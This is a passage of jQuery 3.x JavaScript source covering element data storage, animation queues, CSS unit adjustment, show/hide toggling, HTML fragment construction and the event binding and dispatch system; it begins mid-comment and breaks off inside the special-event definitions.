Summary\n//\n//\t1. Enforce API surface and semantic compatibility with 1.9.x branch\n//\t2. Improve the module's maintainability by reducing the storage\n//\t\tpaths to a single mechanism.\n//\t3. Use the same single mechanism to support \"private\" and \"user\" data.\n//\t4. _Never_ expose \"private\" data to user code (TODO: Drop _data, _removeData)\n//\t5. Avoid exposing implementation details on user objects (eg. expando properties)\n//\t6. Provide a clear path for implementation upgrade to WeakMap in 2014\n\n    var rbrace = /^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,\n        rmultiDash = /[A-Z]/g;\n\n    function getData( data ) {\n        if ( data === \"true\" ) {\n            return true;\n        }\n\n        if ( data === \"false\" ) {\n            return false;\n        }\n\n        if ( data === \"null\" ) {\n            return null;\n        }\n\n        // Only convert to a number if it doesn't change the string\n        if ( data === +data + \"\" ) {\n            return +data;\n        }\n\n        if ( rbrace.test( data ) ) {\n            return JSON.parse( data );\n        }\n\n        return data;\n    }\n\n    function dataAttr( elem, key, data ) {\n        var name;\n\n        // If nothing was found internally, try to fetch any\n        // data from the HTML5 data-* attribute\n        if ( data === undefined && elem.nodeType === 1 ) {\n            name = \"data-\" + key.replace( rmultiDash, \"-$&\" ).toLowerCase();\n            data = elem.getAttribute( name );\n\n            if ( typeof data === \"string\" ) {\n                try {\n                    data = getData( data );\n                } catch ( e ) {}\n\n                // Make sure we set the data so it isn't changed later\n                dataUser.set( elem, key, data );\n            } else {\n                data = undefined;\n            }\n        }\n        return data;\n    }\n\n    jQuery.extend( {\n        hasData: function( elem ) {\n            return dataUser.hasData( elem ) || dataPriv.hasData( elem );\n        },\n\n        data: function( elem, name, data ) {\n            return dataUser.access( elem, name, data );\n        },\n\n        removeData: function( elem, name ) {\n            dataUser.remove( elem, name );\n        },\n\n        // TODO: Now that all calls to _data and _removeData have been replaced\n        // with direct calls to dataPriv methods, these can be deprecated.\n        _data: function( elem, name, data ) {\n            return dataPriv.access( elem, name, data );\n        },\n\n        _removeData: function( elem, name ) {\n            dataPriv.remove( elem, name );\n        }\n    } );\n\n    jQuery.fn.extend( {\n        data: function( key, value ) {\n            var i, name, data,\n                elem = this[ 0 ],\n                attrs = elem && elem.attributes;\n\n            // Gets all values\n            if ( key === undefined ) {\n                if ( this.length ) {\n                    data = dataUser.get( elem );\n\n                    if ( elem.nodeType === 1 && !dataPriv.get( elem, \"hasDataAttrs\" ) ) {\n                        i = attrs.length;\n                        while ( i-- ) {\n\n                            // Support: IE 11 only\n                            // The attrs elements can be null (#14894)\n                            if ( attrs[ i ] ) {\n                                name = attrs[ i ].name;\n                                if ( name.indexOf( \"data-\" ) === 0 ) {\n                                    name = jQuery.camelCase( name.slice( 5 ) );\n                                    dataAttr( elem, name, data[ name ] );\n                                }\n                            }\n                        }\n                        dataPriv.set( elem, \"hasDataAttrs\", true );\n                    }\n                }\n\n                return data;\n            }\n\n            // Sets multiple values\n            if ( typeof key === \"object\" ) {\n                return this.each( function() {\n                    dataUser.set( this, key );\n                } );\n            }\n\n            return access( this, function( value ) {\n                var data;\n\n                // The calling jQuery object (element matches) is not empty\n                // (and therefore has an element appears at this[ 0 ]) and the\n                // `value` parameter was not undefined. An empty jQuery object\n                // will result in `undefined` for elem = this[ 0 ] which will\n                // throw an exception if an attempt to read a data cache is made.\n                if ( elem && value === undefined ) {\n\n                    // Attempt to get data from the cache\n                    // The key will always be camelCased in Data\n                    data = dataUser.get( elem, key );\n                    if ( data !== undefined ) {\n                        return data;\n                    }\n\n                    // Attempt to \"discover\" the data in\n                    // HTML5 custom data-* attrs\n                    data = dataAttr( elem, key );\n                    if ( data !== undefined ) {\n                        return data;\n                    }\n\n                    // We tried really hard, but the data doesn't exist.\n                    return;\n                }\n\n                // Set the data...\n                this.each( function() {\n\n                    // We always store the camelCased key\n                    dataUser.set( this, key, value );\n                } );\n            }, null, value, arguments.length > 1, null, true );\n        },\n\n        removeData: function( key ) {\n            return this.each( function() {\n                dataUser.remove( this, key );\n            } );\n        }\n    } );\n\n\n    jQuery.extend( {\n        queue: function( elem, type, data ) {\n            var queue;\n\n            if ( elem ) {\n                type = ( type || \"fx\" ) + \"queue\";\n                queue = dataPriv.get( elem, type );\n\n                // Speed up dequeue by getting out quickly if this is just a lookup\n                if ( data ) {\n                    if ( !queue || jQuery.isArray( data ) ) {\n                        queue = dataPriv.access( elem, type, jQuery.makeArray( data ) );\n                    } else {\n                        queue.push( data );\n                    }\n                }\n                return queue || [];\n            }\n        },\n\n        dequeue: function( elem, type ) {\n            type = type || \"fx\";\n\n            var queue = jQuery.queue( elem, type ),\n                startLength = queue.length,\n                fn = queue.shift(),\n                hooks = jQuery._queueHooks( elem, type ),\n                next = function() {\n                    jQuery.dequeue( elem, type );\n                };\n\n            // If the fx queue is dequeued, always remove the progress sentinel\n            if ( fn === \"inprogress\" ) {\n                fn = queue.shift();\n                startLength--;\n            }\n\n            if ( fn ) {\n\n                // Add a progress sentinel to prevent the fx queue from being\n                // automatically dequeued\n                if ( type === \"fx\" ) {\n                    queue.unshift( \"inprogress\" );\n                }\n\n                // Clear up the last queue stop function\n                delete hooks.stop;\n                fn.call( elem, next, hooks );\n            }\n\n            if ( !startLength && hooks ) {\n                hooks.empty.fire();\n            }\n        },\n\n        // Not public - generate a queueHooks object, or return the current one\n        _queueHooks: function( elem, type ) {\n            var key = type + \"queueHooks\";\n            return dataPriv.get( elem, key ) || dataPriv.access( elem, key, {\n                empty: jQuery.Callbacks( \"once memory\" ).add( function() {\n                    dataPriv.remove( elem, [ type + \"queue\", key ] );\n                } )\n            } );\n        }\n    } );\n\n    jQuery.fn.extend( {\n        queue: function( type, data ) {\n            var setter = 2;\n\n            if ( typeof type !== \"string\" ) {\n                data = type;\n                type = \"fx\";\n                setter--;\n            }\n\n            if ( arguments.length < setter ) {\n                return jQuery.queue( this[ 0 ], type );\n            }\n\n            return data === undefined ?\n                this :\n                this.each( function() {\n                    var queue = jQuery.queue( this, type, data );\n\n                    // Ensure a hooks for this queue\n                    jQuery._queueHooks( this, type );\n\n                    if ( type === \"fx\" && queue[ 0 ] !== \"inprogress\" ) {\n                        jQuery.dequeue( this, type );\n                    }\n                } );\n        },\n        dequeue: function( type ) {\n            return this.each( function() {\n                jQuery.dequeue( this, type );\n            } );\n        },\n        clearQueue: function( type ) {\n            return this.queue( type || \"fx\", [] );\n        },\n\n        // Get a promise resolved when queues of a certain type\n        // are emptied (fx is the type by default)\n        promise: function( type, obj ) {\n            var tmp,\n                count = 1,\n                defer = jQuery.Deferred(),\n                elements = this,\n                i = this.length,\n                resolve = function() {\n                    if ( !( --count ) ) {\n                        defer.resolveWith( elements, [ elements ] );\n                    }\n                };\n\n            if ( typeof type !== \"string\" ) {\n                obj = type;\n                type = undefined;\n            }\n            type = type || \"fx\";\n\n            while ( i-- ) {\n                tmp = dataPriv.get( elements[ i ], type + \"queueHooks\" );\n                if ( tmp && tmp.empty ) {\n                    count++;\n                    tmp.empty.add( resolve );\n                }\n            }\n            resolve();\n            return defer.promise( obj );\n        }\n    } );\n    var pnum = ( /[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/ ).source;\n\n    var rcssNum = new RegExp( \"^(?:([+-])=|)(\" + pnum + \")([a-z%]*)$\", \"i\" );\n\n\n    var cssExpand = [ \"Top\", \"Right\", \"Bottom\", \"Left\" ];\n\n    var isHiddenWithinTree = function( elem, el ) {\n\n        // isHiddenWithinTree might be called from jQuery#filter function;\n        // in that case, element will be second argument\n        elem = el || elem;\n\n        // Inline style trumps all\n        return elem.style.display === \"none\" ||\n            elem.style.display === \"\" &&\n\n            // Otherwise, check computed style\n            // Support: Firefox <=43 - 45\n            // Disconnected elements can have computed display: none, so first confirm that elem is\n            // in the document.\n            jQuery.contains( elem.ownerDocument, elem ) &&\n\n            jQuery.css( elem, \"display\" ) === \"none\";\n    };\n\n    var swap = function( elem, options, callback, args ) {\n        var ret, name,\n            old = {};\n\n        // Remember the old values, and insert the new ones\n        for ( name in options ) {\n            old[ name ] = elem.style[ name ];\n            elem.style[ name ] = options[ name ];\n        }\n\n        ret = callback.apply( elem, args || [] );\n\n        // Revert the old values\n        for ( name in options ) {\n            elem.style[ name ] = old[ name ];\n        }\n\n        return ret;\n    };\n\n\n\n\n    function adjustCSS( elem, prop, valueParts, tween ) {\n        var adjusted,\n            scale = 1,\n            maxIterations = 20,\n            currentValue = tween ?\n                function() {\n                    return tween.cur();\n                } :\n                function() {\n                    return jQuery.css( elem, prop, \"\" );\n                },\n            initial = currentValue(),\n            unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" ),\n\n            // Starting value computation is required for potential unit mismatches\n            initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== \"px\" && +initial ) &&\n                rcssNum.exec( jQuery.css( elem, prop ) );\n\n        if ( initialInUnit && initialInUnit[ 3 ] !== unit ) {\n\n            // Trust units reported by jQuery.css\n            unit = unit || initialInUnit[ 3 ];\n\n            // Make sure we update the tween properties later on\n            valueParts = valueParts || [];\n\n            // Iteratively approximate from a nonzero starting point\n            initialInUnit = +initial || 1;\n\n            do {\n\n                // If previous iteration zeroed out, double until we get *something*.\n                // Use string for doubling so we don't accidentally see scale as unchanged below\n                scale = scale || \".5\";\n\n                // Adjust and apply\n                initialInUnit = initialInUnit / scale;\n                jQuery.style( elem, prop, initialInUnit + unit );\n\n                // Update scale, tolerating zero or NaN from tween.cur()\n                // Break the loop if scale is unchanged or perfect, or if we've just had enough.\n            } while (\n                scale !== ( scale = currentValue() / initial ) && scale !== 1 && --maxIterations\n                );\n        }\n\n        if ( valueParts ) {\n            initialInUnit = +initialInUnit || +initial || 0;\n\n            // Apply relative offset (+=/-=) if specified\n            adjusted = valueParts[ 1 ] ?\n                initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :\n                +valueParts[ 2 ];\n            if ( tween ) {\n                tween.unit = unit;\n                tween.start = initialInUnit;\n                tween.end = adjusted;\n            }\n        }\n        return adjusted;\n    }\n\n\n    var defaultDisplayMap = {};\n\n    function getDefaultDisplay( elem ) {\n        var temp,\n            doc = elem.ownerDocument,\n            nodeName = elem.nodeName,\n            display = defaultDisplayMap[ nodeName ];\n\n        if ( display ) {\n            return display;\n        }\n\n        temp = doc.body.appendChild( doc.createElement( nodeName ) );\n        display = jQuery.css( temp, \"display\" );\n\n        temp.parentNode.removeChild( temp );\n\n        if ( display === \"none\" ) {\n            display = \"block\";\n        }\n        defaultDisplayMap[ nodeName ] = display;\n\n        return display;\n    }\n\n    function showHide( elements, show ) {\n        var display, elem,\n            values = [],\n            index = 0,\n            length = elements.length;\n\n        // Determine new display value for elements that need to change\n        for ( ; index < length; index++ ) {\n            elem = elements[ index ];\n            if ( !elem.style ) {\n                continue;\n            }\n\n            display = elem.style.display;\n            if ( show ) {\n\n                // Since we force visibility upon cascade-hidden elements, an immediate (and slow)\n                // check is required in this first loop unless we have a nonempty display value (either\n                // inline or about-to-be-restored)\n                if ( display === \"none\" ) {\n                    values[ index ] = dataPriv.get( elem, \"display\" ) || null;\n                    if ( !values[ index ] ) {\n                        elem.style.display = \"\";\n                    }\n                }\n                if ( elem.style.display === \"\" && isHiddenWithinTree( elem ) ) {\n                    values[ index ] = getDefaultDisplay( elem );\n                }\n            } else {\n                if ( display !== \"none\" ) {\n                    values[ index ] = \"none\";\n\n                    // Remember what we're overwriting\n                    dataPriv.set( elem, \"display\", display );\n                }\n            }\n        }\n\n        // Set the display of the elements in a second loop to avoid constant reflow\n        for ( index = 0; index < length; index++ ) {\n            if ( values[ index ] != null ) {\n                elements[ index ].style.display = values[ index ];\n            }\n        }\n\n        return elements;\n    }\n\n    jQuery.fn.extend( {\n        show: function() {\n            return showHide( this, true );\n        },\n        hide: function() {\n            return showHide( this );\n        },\n        toggle: function( state ) {\n            if ( typeof state === \"boolean\" ) {\n                return state ? this.show() : this.hide();\n            }\n\n            return this.each( function() {\n                if ( isHiddenWithinTree( this ) ) {\n                    jQuery( this ).show();\n                } else {\n                    jQuery( this ).hide();\n                }\n            } );\n        }\n    } );\n    var rcheckableType = ( /^(?:checkbox|radio)$/i );\n\n    var rtagName = ( /<([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]+)/i );\n\n    var rscriptType = ( /^$|\\/(?:java|ecma)script/i );\n\n\n\n// We have to close these tags to support XHTML (#13200)\n    var wrapMap = {\n\n        // Support: IE <=9 only\n        option: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\n        // XHTML parsers do not magically insert elements in the\n        // same way that tag soup parsers do. So we cannot shorten\n        // this by omitting <tbody> or other required elements.\n        thead: [ 1, \"<table>\", \"</table>\" ],\n        col: [ 2, \"<table><colgroup>\", \"</colgroup></table>\" ],\n        tr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n        td: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\n        _default: [ 0, \"\", \"\" ]\n    };\n\n// Support: IE <=9 only\n    wrapMap.optgroup = wrapMap.option;\n\n    wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\n    wrapMap.th = wrapMap.td;\n\n\n    function getAll( context, tag ) {\n\n        // Support: IE <=9 - 11 only\n        // Use typeof to avoid zero-argument method invocation on host objects (#15151)\n        var ret;\n\n        if ( typeof context.getElementsByTagName !== \"undefined\" ) {\n            ret = context.getElementsByTagName( tag || \"*\" );\n\n        } else if ( typeof context.querySelectorAll !== \"undefined\" ) {\n            ret = context.querySelectorAll( tag || \"*\" );\n\n        } else {\n            ret = [];\n        }\n\n        if ( tag === undefined || tag && jQuery.nodeName( context, tag ) ) {\n            return jQuery.merge( [ context ], ret );\n        }\n\n        return ret;\n    }\n\n\n// Mark scripts as having already been evaluated\n    function setGlobalEval( elems, refElements ) {\n        var i = 0,\n            l = elems.length;\n\n        for ( ; i < l; i++ ) {\n            dataPriv.set(\n                elems[ i ],\n                \"globalEval\",\n                !refElements || dataPriv.get( refElements[ i ], \"globalEval\" )\n            );\n        }\n    }\n\n\n    var rhtml = /<|&#?\\w+;/;\n\n    function buildFragment( elems, context, scripts, selection, ignored ) {\n        var elem, tmp, tag, wrap, contains, j,\n            fragment = context.createDocumentFragment(),\n            nodes = [],\n            i = 0,\n            l = elems.length;\n\n        for ( ; i < l; i++ ) {\n            elem = elems[ i ];\n\n            if ( elem || elem === 0 ) {\n\n                // Add nodes directly\n                if ( jQuery.type( elem ) === \"object\" ) {\n\n                    // Support: Android <=4.0 only, PhantomJS 1 only\n                    // push.apply(_, arraylike) throws on ancient WebKit\n                    jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );\n\n                    // Convert non-html into a text node\n                } else if ( !rhtml.test( elem ) ) {\n                    nodes.push( context.createTextNode( elem ) );\n\n                    // Convert html into DOM nodes\n                } else {\n                    tmp = tmp || fragment.appendChild( context.createElement( \"div\" ) );\n\n                    // Deserialize a standard representation\n                    tag = ( rtagName.exec( elem ) || [ \"\", \"\" ] )[ 1 ].toLowerCase();\n                    wrap = wrapMap[ tag ] || wrapMap._default;\n                    tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];\n\n                    // Descend through wrappers to the right content\n                    j = wrap[ 0 ];\n                    while ( j-- ) {\n                        tmp = tmp.lastChild;\n                    }\n\n                    // Support: Android <=4.0 only, PhantomJS 1 only\n                    // push.apply(_, arraylike) throws on ancient WebKit\n                    jQuery.merge( nodes, tmp.childNodes );\n\n                    // Remember the top-level container\n                    tmp = fragment.firstChild;\n\n                    // Ensure the created nodes are orphaned (#12392)\n                    tmp.textContent = \"\";\n                }\n            }\n        }\n\n        // Remove wrapper from fragment\n        fragment.textContent = \"\";\n\n        i = 0;\n        while ( ( elem = nodes[ i++ ] ) ) {\n\n            // Skip elements already in the context collection (trac-4087)\n            if ( selection && jQuery.inArray( elem, selection ) > -1 ) {\n                if ( ignored ) {\n                    ignored.push( elem );\n                }\n                continue;\n            }\n\n            contains = jQuery.contains( elem.ownerDocument, elem );\n\n            // Append to fragment\n            tmp = getAll( fragment.appendChild( elem ), \"script\" );\n\n            // Preserve script evaluation history\n            if ( contains ) {\n                setGlobalEval( tmp );\n            }\n\n            // Capture executables\n            if ( scripts ) {\n                j = 0;\n                while ( ( elem = tmp[ j++ ] ) ) {\n                    if ( rscriptType.test( elem.type || \"\" ) ) {\n                        scripts.push( elem );\n                    }\n                }\n            }\n        }\n\n        return fragment;\n    }\n\n\n    ( function() {\n        var fragment = document.createDocumentFragment(),\n            div = fragment.appendChild( document.createElement( \"div\" ) ),\n            input = document.createElement( \"input\" );\n\n        // Support: Android 4.0 - 4.3 only\n        // Check state lost if the name is set (#11217)\n        // Support: Windows Web Apps (WWA)\n        // `name` and `type` must use .setAttribute for WWA (#14901)\n        input.setAttribute( \"type\", \"radio\" );\n        input.setAttribute( \"checked\", \"checked\" );\n        input.setAttribute( \"name\", \"t\" );\n\n        div.appendChild( input );\n\n        // Support: Android <=4.1 only\n        // Older WebKit doesn't clone checked state correctly in fragments\n        support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n        // Support: IE <=11 only\n        // Make sure textarea (and checkbox) defaultValue is properly cloned\n        div.innerHTML = \"<textarea>x</textarea>\";\n        support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;\n    } )();\n    var documentElement = document.documentElement;\n\n\n\n    var\n        rkeyEvent = /^key/,\n        rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,\n        rtypenamespace = /^([^.]*)(?:\\.(.+)|)/;\n\n    function returnTrue() {\n        return true;\n    }\n\n    function returnFalse() {\n        return false;\n    }\n\n// Support: IE <=9 only\n// See #13393 for more info\n    function safeActiveElement() {\n        try {\n            return document.activeElement;\n        } catch ( err ) { }\n    }\n\n    function on( elem, types, selector, data, fn, one ) {\n        var origFn, type;\n\n        // Types can be a map of types/handlers\n        if ( typeof types === \"object\" ) {\n\n            // ( types-Object, selector, data )\n            if ( typeof selector !== \"string\" ) {\n\n                // ( types-Object, data )\n                data = data || selector;\n                selector = undefined;\n            }\n            for ( type in types ) {\n                on( elem, type, selector, data, types[ type ], one );\n            }\n            return elem;\n        }\n\n        if ( data == null && fn == null ) {\n\n            // ( types, fn )\n            fn = selector;\n            data = selector = undefined;\n        } else if ( fn == null ) {\n            if ( typeof selector === \"string\" ) {\n\n                // ( types, selector, fn )\n                fn = data;\n                data = undefined;\n            } else {\n\n                // ( types, data, fn )\n                fn = data;\n                data = selector;\n                selector = undefined;\n            }\n        }\n        if ( fn === false ) {\n            fn = returnFalse;\n        } else if ( !fn ) {\n            return elem;\n        }\n\n        if ( one === 1 ) {\n            origFn = fn;\n            fn = function( event ) {\n\n                // Can use an empty set, since event contains the info\n                jQuery().off( event );\n                return origFn.apply( this, arguments );\n            };\n\n            // Use same guid so caller can remove using origFn\n            fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );\n        }\n        return elem.each( function() {\n            jQuery.event.add( this, types, fn, data, selector );\n        } );\n    }\n\n    /*\n     * Helper functions for managing events -- not part of the public interface.\n     * Props to Dean Edwards' addEvent library for many of the ideas.\n     */\n    jQuery.event = {\n\n        global: {},\n\n        add: function( elem, types, handler, data, selector ) {\n\n            var handleObjIn, eventHandle, tmp,\n                events, t, handleObj,\n                special, handlers, type, namespaces, origType,\n                elemData = dataPriv.get( elem );\n\n            // Don't attach events to noData or text/comment nodes (but allow plain objects)\n            if ( !elemData ) {\n                return;\n            }\n\n            // Caller can pass in an object of custom data in lieu of the handler\n            if ( handler.handler ) {\n                handleObjIn = handler;\n                handler = handleObjIn.handler;\n                selector = handleObjIn.selector;\n            }\n\n            // Ensure that invalid selectors throw exceptions at attach time\n            // Evaluate against documentElement in case elem is a non-element node (e.g., document)\n            if ( selector ) {\n                jQuery.find.matchesSelector( documentElement, selector );\n            }\n\n            // Make sure that the handler has a unique ID, used to find/remove it later\n            if ( !handler.guid ) {\n                handler.guid = jQuery.guid++;\n            }\n\n            // Init the element's event structure and main handler, if this is the first\n            if ( !( events = elemData.events ) ) {\n                events = elemData.events = {};\n            }\n            if ( !( eventHandle = elemData.handle ) ) {\n                eventHandle = elemData.handle = function( e ) {\n\n                    // Discard the second event of a jQuery.event.trigger() and\n                    // when an event is called after a page has unloaded\n                    return typeof jQuery !== \"undefined\" && jQuery.event.triggered !== e.type ?\n                        jQuery.event.dispatch.apply( elem, arguments ) : undefined;\n                };\n            }\n\n            // Handle multiple events separated by a space\n            types = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n            t = types.length;\n            while ( t-- ) {\n                tmp = rtypenamespace.exec( types[ t ] ) || [];\n                type = origType = tmp[ 1 ];\n                namespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n                // There *must* be a type, no attaching namespace-only handlers\n                if ( !type ) {\n                    continue;\n                }\n\n                // If event changes its type, use the special event handlers for the changed type\n                special = jQuery.event.special[ type ] || {};\n\n                // If selector defined, determine special event api type, otherwise given type\n                type = ( selector ? special.delegateType : special.bindType ) || type;\n\n                // Update special based on newly reset type\n                special = jQuery.event.special[ type ] || {};\n\n                // handleObj is passed to all event handlers\n                handleObj = jQuery.extend( {\n                    type: type,\n                    origType: origType,\n                    data: data,\n                    handler: handler,\n                    guid: handler.guid,\n                    selector: selector,\n                    needsContext: selector && jQuery.expr.match.needsContext.test( selector ),\n                    namespace: namespaces.join( \".\" )\n                }, handleObjIn );\n\n                // Init the event handler queue if we're the first\n                if ( !( handlers = events[ type ] ) ) {\n                    handlers = events[ type ] = [];\n                    handlers.delegateCount = 0;\n\n                    // Only use addEventListener if the special events handler returns false\n                    if ( !special.setup ||\n                        special.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\n                        if ( elem.addEventListener ) {\n                            elem.addEventListener( type, eventHandle );\n                        }\n                    }\n                }\n\n                if ( special.add ) {\n                    special.add.call( elem, handleObj );\n\n                    if ( !handleObj.handler.guid ) {\n                        handleObj.handler.guid = handler.guid;\n                    }\n                }\n\n                // Add to the element's handler list, delegates in front\n                if ( selector ) {\n                    handlers.splice( handlers.delegateCount++, 0, handleObj );\n                } else {\n                    handlers.push( handleObj );\n                }\n\n                // Keep track of which events have ever been used, for event optimization\n                jQuery.event.global[ type ] = true;\n            }\n\n        },\n\n        // Detach an event or set of events from an element\n        remove: function( elem, types, handler, selector, mappedTypes ) {\n\n            var j, origCount, tmp,\n                events, t, handleObj,\n                special, handlers, type, namespaces, origType,\n                elemData = dataPriv.hasData( elem ) && dataPriv.get( elem );\n\n            if ( !elemData || !( events = elemData.events ) ) {\n                return;\n            }\n\n            // Once for each type.namespace in types; type may be omitted\n            types = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n            t = types.length;\n            while ( t-- ) {\n                tmp = rtypenamespace.exec( types[ t ] ) || [];\n                type = origType = tmp[ 1 ];\n                namespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n                // Unbind all events (on this namespace, if provided) for the element\n                if ( !type ) {\n                    for ( type in events ) {\n                        jQuery.event.remove( elem, type + types[ t ], handler, selector, true );\n                    }\n                    continue;\n                }\n\n                special = jQuery.event.special[ type ] || {};\n                type = ( selector ? special.delegateType : special.bindType ) || type;\n                handlers = events[ type ] || [];\n                tmp = tmp[ 2 ] &&\n                    new RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" );\n\n                // Remove matching events\n                origCount = j = handlers.length;\n                while ( j-- ) {\n                    handleObj = handlers[ j ];\n\n                    if ( ( mappedTypes || origType === handleObj.origType ) &&\n                        ( !handler || handler.guid === handleObj.guid ) &&\n                        ( !tmp || tmp.test( handleObj.namespace ) ) &&\n                        ( !selector || selector === handleObj.selector ||\n                            selector === \"**\" && handleObj.selector ) ) {\n                        handlers.splice( j, 1 );\n\n                        if ( handleObj.selector ) {\n                            handlers.delegateCount--;\n                        }\n                        if ( special.remove ) {\n                            special.remove.call( elem, handleObj );\n                        }\n                    }\n                }\n\n                // Remove generic event handler if we removed something and no more handlers exist\n                // (avoids potential for endless recursion during removal of special event handlers)\n                if ( origCount && !handlers.length ) {\n                    if ( !special.teardown ||\n                        special.teardown.call( elem, namespaces, elemData.handle ) === false ) {\n\n                        jQuery.removeEvent( elem, type, elemData.handle );\n                    }\n\n                    delete events[ type ];\n                }\n            }\n\n            // Remove data and the expando if it's no longer used\n            if ( jQuery.isEmptyObject( events ) ) {\n                dataPriv.remove( elem, \"handle events\" );\n            }\n        },\n\n        dispatch: function( nativeEvent ) {\n\n            // Make a writable jQuery.Event from the native event object\n            var event = jQuery.event.fix( nativeEvent );\n\n            var i, j, ret, matched, handleObj, handlerQueue,\n                args = new Array( arguments.length ),\n                handlers = ( dataPriv.get( this, \"events\" ) || {} )[ event.type ] || [],\n                special = jQuery.event.special[ event.type ] || {};\n\n            // Use the fix-ed jQuery.Event rather than the (read-only) native event\n            args[ 0 ] = event;\n\n            for ( i = 1; i < arguments.length; i++ ) {\n                args[ i ] = arguments[ i ];\n            }\n\n            event.delegateTarget = this;\n\n            // Call the preDispatch hook for the mapped type, and let it bail if desired\n            if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {\n                return;\n            }\n\n            // Determine handlers\n            handlerQueue = jQuery.event.handlers.call( this, event, handlers );\n\n            // Run delegates first; they may want to stop propagation beneath us\n            i = 0;\n            while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {\n                event.currentTarget = matched.elem;\n\n                j = 0;\n                while ( ( handleObj = matched.handlers[ j++ ] ) &&\n                !event.isImmediatePropagationStopped() ) {\n\n                    // Triggered event must either 1) have no namespace, or 2) have namespace(s)\n                    // a subset or equal to those in the bound event (both can have no namespace).\n                    if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) {\n\n                        event.handleObj = handleObj;\n                        event.data = handleObj.data;\n\n                        ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||\n                            handleObj.handler ).apply( matched.elem, args );\n\n                        if ( ret !== undefined ) {\n                            if ( ( event.result = ret ) === false ) {\n                                event.preventDefault();\n                                event.stopPropagation();\n                            }\n                        }\n                    }\n                }\n            }\n\n            // Call the postDispatch hook for the mapped type\n            if ( special.postDispatch ) {\n                special.postDispatch.call( this, event );\n            }\n\n            return event.result;\n        },\n\n        handlers: function( event, handlers ) {\n            var i, handleObj, sel, matchedHandlers, matchedSelectors,\n                handlerQueue = [],\n                delegateCount = handlers.delegateCount,\n                cur = event.target;\n\n            // Find delegate handlers\n            if ( delegateCount &&\n\n                // Support: IE <=9\n                // Black-hole SVG <use> instance trees (trac-13180)\n                cur.nodeType &&\n\n                // Support: Firefox <=42\n                // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)\n                // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click\n                // Support: IE 11 only\n                // ...but not arrow key \"clicks\" of radio inputs, which can have `button` -1 (gh-2343)\n                !( event.type === \"click\" && event.button >= 1 ) ) {\n\n                for ( ; cur !== this; cur = cur.parentNode || this ) {\n\n                    // Don't check non-elements (#13208)\n                    // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)\n                    if ( cur.nodeType === 1 && !( event.type === \"click\" && cur.disabled === true ) ) {\n                        matchedHandlers = [];\n                        matchedSelectors = {};\n                        for ( i = 0; i < delegateCount; i++ ) {\n                            handleObj = handlers[ i ];\n\n                            // Don't conflict with Object.prototype properties (#13203)\n                            sel = handleObj.selector + \" \";\n\n                            if ( matchedSelectors[ sel ] === undefined ) {\n                                matchedSelectors[ sel ] = handleObj.needsContext ?\n                                    jQuery( sel, this ).index( cur ) > -1 :\n                                    jQuery.find( sel, this, null, [ cur ] ).length;\n                            }\n                            if ( matchedSelectors[ sel ] ) {\n                                matchedHandlers.push( handleObj );\n                            }\n                        }\n                        if ( matchedHandlers.length ) {\n                            handlerQueue.push( { elem: cur, handlers: matchedHandlers } );\n                        }\n                    }\n                }\n            }\n\n            // Add the remaining (directly-bound) handlers\n            cur = this;\n            if ( delegateCount < handlers.length ) {\n                handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );\n            }\n\n            return handlerQueue;\n        },\n\n        addProp: function( name, hook ) {\n            Object.defineProperty( jQuery.Event.prototype, name, {\n                enumerable: true,\n                configurable: true,\n\n                get: jQuery.isFunction( hook ) ?\n                    function() {\n                        if ( this.originalEvent ) {\n                            return hook( this.originalEvent );\n                        }\n                    } :\n                    function() {\n                        if ( this.originalEvent ) {\n                            return this.originalEvent[ name ];\n                        }\n                    },\n\n                set: function( value ) {\n                    Object.defineProperty( this, name, {\n                        enumerable: true,\n                        configurable: true,\n                        writable: true,\n                        value: value\n                    } );\n                }\n            } );\n        },\n\n        fix: function( originalEvent ) {\n            return originalEvent[ jQuery.expando ] ?\n                originalEvent :\n                new jQuery.Event( originalEvent );\n        },\n\n        special: {\n            load: {\n\n                // Prevent triggered image.load events from bubbling to window.load\n                noBubble: true\n            },\n            focus: {\n\n                // Fire native event if possible so blur/focus sequence is correct\n                trigger: function() {\n                    if ( this !== safeActiveElement() && this.focus ) {\n                        this.focus();\n                        return false;\n                    }\n                },\n                delegateType: \"focusin\"\n            },\n            blur: {\n                trigger: function() {\n                    if ( this === safeActiveElement() && this.blur ) {\n                        this.blur();\n                        return false;\n                    }\n                },\n                delegateType: \"focusout\"\n            },\n            click: {\n\n                // For checkbox, fire native event so checked state will be right\n                trigger: function() {\n                    if ( this.type === \"checkbox\" && this.click && jQuery.nodeName( this, \"input\" ) ) {\n                        this.click();\n                        return false;\n                    }\n                },\n\n                // For cross-browser consistency, don't fire native .click() on links\n                _default: function( event 